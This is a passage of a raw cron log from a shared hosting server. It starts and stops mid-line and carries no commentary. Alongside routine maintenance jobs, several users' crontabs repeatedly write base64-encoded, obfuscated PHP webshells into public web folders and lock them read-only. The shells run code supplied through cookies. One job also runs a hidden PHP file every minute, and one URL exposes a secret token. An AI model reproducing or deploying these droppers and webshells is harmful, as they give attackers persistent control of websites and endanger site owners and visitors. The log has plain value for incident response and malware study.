JF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:15:02 medusa CROND[8168]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 13:15:02 medusa CROND[8170]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:15:02 medusa CROND[8167]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:15:02 medusa CROND[8171]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 13:15:02 medusa CROND[8189]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:16:02 medusa CROND[9716]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:16:02 medusa CROND[9715]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 13:16:02 medusa CROND[9717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:16:02 medusa CROND[9718]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:16:02 medusa CROND[9719]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:16:02 medusa CROND[9720]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:16:02 medusa CROND[9721]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:16:02 medusa CROND[9722]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:16:02 medusa CROND[9724]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:16:02 medusa CROND[9725]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 13:16:02 medusa CROND[9723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:16:02 medusa CROND[9726]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:16:02 medusa CROND[9727]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:16:02 medusa CROND[9729]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:17:02 medusa CROND[11241]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:17:02 medusa CROND[11243]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:17:02 medusa CROND[11242]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:17:02 medusa CROND[11244]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:17:02 medusa CROND[11245]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 13:17:02 medusa CROND[11246]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 13:17:02 medusa CROND[11247]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:17:02 medusa CROND[11250]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:17:02 medusa CROND[11251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:17:02 medusa CROND[11252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:17:02 medusa CROND[11253]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:17:02 medusa CROND[11254]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:17:02 medusa CROND[11258]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:18:01 medusa CROND[12843]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 13:18:01 medusa CROND[12845]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:18:01 medusa CROND[12846]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:18:01 medusa CROND[12847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:18:01 medusa CROND[12848]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:18:01 medusa CROND[12849]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Jun  7 13:18:01 medusa CROND[12850]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2